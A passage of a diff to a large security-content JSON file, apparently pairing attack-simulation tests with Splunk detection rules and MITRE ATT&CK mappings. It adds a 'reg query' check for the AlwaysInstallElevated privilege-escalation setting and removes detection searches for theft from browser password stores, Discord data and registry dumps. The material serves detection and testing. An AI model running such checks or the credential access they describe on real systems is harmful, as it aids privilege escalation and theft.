AlwaysInstallElevated \n", "powershell/situational_awareness/network/powerview/get_cached_rdpconnection", "Get-ItemProperty -Path HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\n" ], @@ -602453,6 +402846,19 @@ "cleanup_command": "remove-item #{output_file} -force -erroraction silentlycontinue\nremove-item $env:temp\\clsids.txt -force -erroraction silentlycontinue \n", "name": "powershell" } + }, + { + "name": "Reg query for AlwaysInstallElevated status", + "auto_generated_guid": "6fb4c4c5-f949-4fd2-8af5-ddbc61595223", + "description": "The reg query commands allows to check the status of the AlwaysInstallElevated registry key for both the user and the machine. If both queries return a value of 0x1, then AlwaysInstallElevated is enabled for both user and machine thus allowing a regular user to install a Microsoft Windows Installer package with system level privileges. This can be abused by an attacker to escalate privileges in the host to SYSTEM level.", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated \n", + "name": "command_prompt", + "elevation_required": true + } } ] } @@ -602883,807 +403289,7 @@ "Event ID": "LOG-MD Reg Compare", "Event Name": "Windows Registry" } - ], - { - "name": "Windows Credential Access From Browser Password Store", - "description": "The following analytic identifies a possible non-common browser process accessing its browser user data profile. This tactic/technique has been observed in various Trojan Stealers, such as SnakeKeylogger, which attempt to gather sensitive browser information and credentials as part of their exfiltration strategy. Detecting this anomaly can serve as a valuable pivot for identifying processes that access lists of browser user data profiles unexpectedly. This detection uses a lookup file `browser_app_list` that maintains a list of well known browser applications and the browser paths that are allowed to access the browser user data profiles.", - "search": "`wineventlog_security` EventCode=4663 | stats count by _time object_file_path object_file_name dest process_name process_path process_id EventCode | lookup browser_app_list browser_object_path as object_file_path OUTPUT browser_process_name isAllowed | stats count min(_time) as firstTime max(_time) as lastTime values(object_file_name) values(object_file_path) values(browser_process_name) as browser_process_name by dest process_name process_path process_id EventCode isAllowed | rex field=process_name \"(?[^\\\\\\\\]+)$\" | eval isMalicious=if(match(browser_process_name, extracted_process_name), \"0\", \"1\") | where isMalicious=1 and isAllowed=\"false\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_credential_access_from_browser_password_store_filter`", - "tags": { - "analytic_story": [ - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A non-common browser process $process_name$ accessing browser user data folder on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Credentials from Password Stores Chrome Extension Access", - "description": "The following analytic detects non-Chrome processes attempting to access the Chrome extensions file. It leverages Windows Security Event logs, specifically event code 4663, to identify this behavior. This activity is significant because adversaries may exploit this file to extract sensitive information from the Chrome browser, posing a security risk. If confirmed malicious, this could lead to unauthorized access to stored credentials and other sensitive data, potentially compromising the security of the affected system and broader network.", - "search": "`wineventlog_security` EventCode=4663 object_file_path=\"*\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Local Extension Settings\\\\*\" AND NOT (process_path IN (\"*:\\\\Windows\\\\explorer.exe\", \"*\\\\chrome.exe\")) | stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_credentials_from_password_stores_chrome_extension_access_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "CISA AA23-347A", - "DarkGate Malware", - "Phemedrone Stealer", - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A non-chrome process $process_name$ accessing chrome browser extension folder files on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Credentials from Password Stores Chrome LocalState Access", - "description": "The following analytic detects non-Chrome processes accessing the Chrome \"Local State\" file, which contains critical settings and information. It leverages Windows Security Event logs, specifically event code 4663, to identify this behavior. This activity is significant because threat actors can exploit this file to extract the encrypted master key used for decrypting saved passwords in Chrome. If confirmed malicious, this could lead to unauthorized access to sensitive information, posing a severe security risk. Monitoring this anomaly helps identify potential threats and safeguard browser-stored data.", - "search": "`wineventlog_security` EventCode=4663 object_file_path=\"*\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Local State\" NOT (process_name IN (\"*\\\\chrome.exe\",\"*:\\\\Windows\\\\explorer.exe\")) | stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_credentials_from_password_stores_chrome_localstate_access_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "DarkGate Malware", - "NjRAT", - "Phemedrone Stealer", - "RedLine Stealer", - "Snake Keylogger", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A non-chrome process $process_name$ accessing \"Chrome\\\\User Data\\\\Local State\" file on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Credentials from Password Stores Chrome Login Data Access", - "description": "The following analytic identifies non-Chrome processes accessing the Chrome user data file \"login data.\" This file is an SQLite database containing sensitive information, including saved passwords. The detection leverages Windows Security Event logs, specifically event code 4663, to monitor access attempts. This activity is significant as it may indicate attempts by threat actors to extract and decrypt stored passwords, posing a risk to user credentials. If confirmed malicious, attackers could gain unauthorized access to sensitive accounts and escalate their privileges within the environment.", - "search": "`wineventlog_security` EventCode=4663 object_file_path=\"*\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\" AND NOT (process_path IN (\"*:\\\\Windows\\\\explorer.exe\", \"*:\\\\Windows\\\\System32\\\\dllhost.exe\", \"*\\\\chrome.exe\")) | stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_credentials_from_password_stores_chrome_login_data_access_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "DarkGate Malware", - "NjRAT", - "Phemedrone Stealer", - "RedLine Stealer", - "Snake Keylogger", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A non-chrome process $process_name$ accessing Chrome \"Login Data\" file on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Modify Registry Reg Restore", - "description": "The following analytic detects the execution of reg.exe with the \"restore\" parameter, indicating an attempt to restore registry backup data on a host. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant as it may indicate post-exploitation actions, such as those performed by tools like winpeas, which use \"reg save\" and \"reg restore\" to manipulate registry settings. If confirmed malicious, this could allow an attacker to revert registry changes, potentially bypassing security controls and maintaining persistence.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` AND Processes.process = \"* restore *\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_modify_registry_reg_restore_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "execution of process $process_name$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Non Discord App Access Discord LevelDB", - "description": "The following analytic detects non-Discord applications accessing the Discord LevelDB database. It leverages Windows Security Event logs, specifically event code 4663, to identify file access attempts to the LevelDB directory by processes other than Discord. This activity is significant as it may indicate attempts to steal Discord credentials or access sensitive user data. If confirmed malicious, this could lead to unauthorized access to user profiles, messages, and other critical information, potentially compromising the security and privacy of the affected users.", - "search": "`wineventlog_security` EventCode=4663 object_file_path IN (\"*\\\\discord\\\\Local Storage\\\\leveldb*\") AND process_name != *\\\\discord.exe AND NOT (process_path IN (\"*:\\\\Windows\\\\System32\\\\*\", \"*:\\\\Windows\\\\SysWow64\\\\*\", \"*:\\\\Program Files*\", \"*:\\\\Windows\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_non_discord_app_access_discord_leveldb_filter`", - "tags": { - "analytic_story": [ - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A non-discord process $process_name$ accessing discord \"leveldb\" file on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Post Exploitation Risk Behavior", - "description": "The following analytic identifies four or more distinct post-exploitation behaviors on a Windows system. It leverages data from the Risk data model in Splunk Enterprise Security, focusing on multiple risk events and their associated MITRE ATT&CK tactics and techniques. This activity is significant as it indicates potential malicious actions following an initial compromise, such as persistence, privilege escalation, or data exfiltration. If confirmed malicious, this behavior could allow attackers to maintain control, escalate privileges, and further exploit the compromised environment, leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories IN (\"*Windows Post-Exploitation*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_post_exploitation_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Windows Post Exploitation behavior has been detected on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1115", - "mitre_attack_technique": "Clipboard Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT38", - "APT39" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Query Registry Browser List Application", - "description": "The following analytic detects a suspicious process accessing the registry entries for default internet browsers. It leverages Windows Security Event logs, specifically event code 4663, to identify access attempts to these registry paths. This activity is significant because adversaries can exploit this registry key to gather information about installed browsers and their settings, potentially leading to the theft of sensitive data such as login credentials and browsing history. If confirmed malicious, this behavior could enable attackers to exfiltrate sensitive information and compromise user accounts.", - "search": "`wineventlog_security` EventCode=4663 object_file_path IN (\"*\\\\SOFTWARE\\\\Clients\\\\StartMenuInternet\\\\*\", \"*\\\\SOFTWARE\\\\Clients\\\\StartMenuInternet\\\\*\") AND NOT (process_path IN (\"*:\\\\Windows\\\\System32\\\\*\", \"*:\\\\Windows\\\\SysWow64\\\\*\", \"*:\\\\Program Files*\", \"*:\\\\Windows\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_query_registry_browser_list_application_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious process accessing installed default browser registry on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Query Registry Reg Save", - "description": "The following analytic detects the execution of the reg.exe process with the \"save\" parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant because threat actors often use the \"reg save\" command to dump credentials or test registry modification capabilities on compromised hosts. If confirmed malicious, this behavior could allow attackers to escalate privileges, persist in the environment, or access sensitive information stored in the registry.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` AND Processes.process = \"* save *\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_query_registry_reg_save_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "execution of process $process_name$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Query Registry UnInstall Program List", - "description": "The following analytic detects a suspicious query on the uninstall application list in the Windows OS registry. It leverages Windows Security Event logs, specifically event code 4663, to identify access to the \"Uninstall\" registry key. This activity is significant because adversaries or malware can exploit this key to gather information about installed applications, aiding in further attacks. If confirmed malicious, this behavior could allow attackers to map out installed software, potentially identifying vulnerabilities or software to exploit, leading to further system compromise.", - "search": "`wineventlog_security` EventCode=4663 object_file_path=\"\\\\REGISTRY\\\\MACHINE\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*\" | stats count min(_time) as firstTime max(_time) as lastTime by object_file_name object_file_path process_name process_path process_id EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_query_registry_uninstall_program_list_filter`", - "tags": { - "analytic_story": [ - "RedLine Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious process $process_name$ accessing uninstall registry on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -605965,60 +405571,6 @@ "references": [ "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" ] - }, - { - "name": "Okta Multiple Failed Requests to Access Applications", - "description": "The following analytic detects multiple failed attempts to access applications in Okta, potentially indicating the reuse of a stolen web session cookie. It leverages Okta logs to evaluate policy and SSO events, aggregating data by user, session, and IP. The detection triggers when more than half of the app sign-on attempts are unsuccessful across multiple applications. This activity is significant as it may indicate an attempt to bypass authentication mechanisms. If confirmed malicious, it could lead to unauthorized access to sensitive applications and data, posing a significant security risk.", - "search": "`okta` target{}.type=AppInstance (eventType=policy.evaluate_sign_on outcome.result=CHALLENGE) OR (eventType=user.authentication.sso outcome.result=SUCCESS) | eval targets=mvzip('target{}.type', 'target{}.displayName', \": \") | eval targets=mvfilter(targets LIKE \"AppInstance%\") | stats count min(_time) as _time values(outcome.result) as outcome.result dc(eval(if(eventType=\"policy.evaluate_sign_on\",targets,NULL))) as total_challenges sum(eval(if(eventType=\"user.authentication.sso\",1,0))) as total_successes by authenticationContext.externalSessionId targets actor.alternateId client.ipAddress | search total_challenges > 0 | stats min(_time) as _time values(*) as * sum(total_challenges) as total_challenges sum(total_successes) as total_successes values(eval(if(\"outcome.result\"=\"SUCCESS\",targets,NULL))) as success_apps values(eval(if(\":outcome.result\"!=\"SUCCESS\",targets,NULL))) as no_success_apps by authenticationContext.externalSessionId actor.alternateId client.ipAddress | fillnull | eval ratio=round(total_successes/total_challenges,2), severity=\"HIGH\", mitre_technique_id=\"T1538\", description=\"actor.alternateId\". \" from \" . \"client.ipAddress\" . \" seen opening \" . total_challenges . \" chiclets/apps with \" . total_successes . \" challenges successfully passed\" | fields - count, targets | search ratio < 0.5 total_challenges > 2 | `okta_multiple_failed_requests_to_access_applications_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "actor.alternateId", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple Failed Requests to Access Applications via Okta for $actor.alternateId$.", - "risk_score": 56, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550.004", - "mitre_attack_technique": "Web Session Cookie", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1538", - "mitre_attack_technique": "Cloud Service Dashboard", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -606605,678 +406157,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" ] - }, - { - "name": "Identify New User Accounts", - "description": "This detection search will help profile user accounts in your environment by identifying newly created accounts that have been added to your network in the past week.", - "search": "| from datamodel Identity_Management.All_Identities | eval empStatus=case((now()-startDate)<604800, \"Accounts created in last week\") | search empStatus=\"Accounts created in last week\"| `security_content_ctime(endDate)` | `security_content_ctime(startDate)`| table identity empStatus endDate startDate | `identify_new_user_accounts_filter`", - "tags": { - "analytic_story": [], - "asset_type": "Domain Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect Excessive Account Lockouts From Endpoint", - "description": "The following analytic detects endpoints causing a high number of account lockouts within a short period. It leverages the Windows security event logs ingested into the `Change` datamodel, specifically under the `Account_Management` node, to identify and count lockout events. This activity is significant as it may indicate a brute-force attack or misconfigured system causing repeated authentication failures. If confirmed malicious, this behavior could lead to account lockouts, disrupting user access and potentially indicating an ongoing attack attempting to compromise user credentials.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Changes.user) as user from datamodel=Change.All_Changes where All_Changes.result=\"*lock*\" by All_Changes.dest All_Changes.result |`drop_dm_object_name(\"All_Changes\")` |`drop_dm_object_name(\"Account_Management\")`| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search count > 5 | `detect_excessive_account_lockouts_from_endpoint_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple accounts have been locked out. Review $dest$ and results related to $user$.", - "risk_score": 36, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - 